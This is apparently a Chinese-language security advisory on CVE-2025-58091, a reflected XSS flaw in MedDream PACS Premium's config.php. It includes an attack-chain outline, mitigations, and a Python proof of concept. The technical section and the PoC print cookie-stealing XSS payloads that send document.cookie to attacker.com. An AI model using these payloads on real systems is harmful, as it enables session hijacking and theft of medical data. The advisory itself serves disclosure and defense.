IPBUF安全漏洞报告
English
CVE-2025-58091 CVSS 6.1 中危

CVE-2025-58091 MedDream PACS Premium config.php 反射型XSS漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2025-58091
漏洞类型
反射型XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
MedDream PACS Premium 7.3.6.870

相关标签

CVE-2025-58091反射型XSSMedDream PACS跨站脚本医疗软件Cisco TalosTALOS-2025-2271中危漏洞

漏洞概述

CVE-2025-58091是Cisco Talos情报团队发现的存在于MedDream PACS Premium 7.3.6.870版本中的多个反射型跨站脚本(XSS)漏洞。该漏洞位于config.php功能模块中,攻击者可以通过构造恶意的thumbnaildir参数来触发漏洞。当受害者点击攻击者提供的特制URL时,恶意JavaScript代码将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等安全问题。由于该漏洞为反射型XSS,需要用户交互才能触发,攻击者通常会通过社会工程学手段诱导用户点击恶意链接。CVSS 3.1评分6.1,属于中危级别,主要影响系统的机密性和完整性。

技术细节

该漏洞为反射型跨站脚本漏洞,存在于MedDream PACS Premium的config.php文件中。具体来说,当应用程序处理thumbnaildir参数时,未对用户输入进行充分的输入验证和输出编码。攻击者可以在URL中注入恶意的JavaScript脚本代码,如<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>等Payload。由于输入直接反射到响应页面且未进行安全编码,浏览器会将其作为合法脚本执行。成功利用此漏洞需要满足以下条件:1) 攻击者诱使受害者访问特制URL;2) 受害者在浏览器中打开该链接;3) 应用程序将用户输入未经处理地回显到页面。攻击者可利用此漏洞窃取用户会话Cookie、进行钓鱼攻击或篡改页面内容。

攻击链分析

STEP 1
步骤1
攻击者收集目标信息,确定MedDream PACS Premium版本<=7.3.6.870
STEP 2
步骤2
攻击者构造包含恶意XSS Payload的URL,Payload注入到thumbnaildir参数中
STEP 3
步骤3
攻击者通过钓鱼邮件、社交工程等方式诱导受害者点击恶意链接
STEP 4
步骤4
受害者浏览器发送请求到config.php,特制参数未经处理直接反射到响应页面
STEP 5
步骤5
浏览器将反射的Payload作为JavaScript执行,导致Cookie窃取或会话劫持
STEP 6
步骤6
攻击者利用窃取的会话信息进一步渗透系统或窃取敏感医疗数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-58091 PoC - Reflected XSS in MedDream PACS Premium config.php # Target: MedDream PACS Premium <= 7.3.6.870 # Vulnerability: XSS via thumbnaildir parameter in config.php TARGET_URL = "http://target-server/pacs/config.php" def test_reflected_xss(): """ Test for reflected XSS vulnerability in thumbnaildir parameter """ # XSS payload - steals cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Encode the payload for URL params = { 'thumbnaildir': xss_payload, 'action': 'save' # Trigger the vulnerable code path } try: response = requests.get(TARGET_URL, params=params, timeout=10) # Check if payload is reflected without encoding if xss_payload in response.text: print('[+] VULNERABLE: XSS payload reflected in response') print(f'[+] Payload reflected in: {response.url}') return True else: print('[-] Not vulnerable or payload filtered') return False except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') return False if __name__ == '__main__': test_reflected_xss() print('\n[*] Note: This PoC demonstrates the vulnerability') print('[*] Always obtain proper authorization before testing')

影响范围

MedDream PACS Premium <= 7.3.6.870

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 暂时禁用config.php的thumbnaildir参数功能;2) 通过Web应用防火墙规则过滤包含<script>、<img>、onerror等XSS特征的请求参数;3) 加强对用户访问config.php的直接链接的监控和审计;4) 对管理员和医疗影像操作人员进行安全意识培训,警惕可疑链接;5) 实施严格的CORS策略限制跨域请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表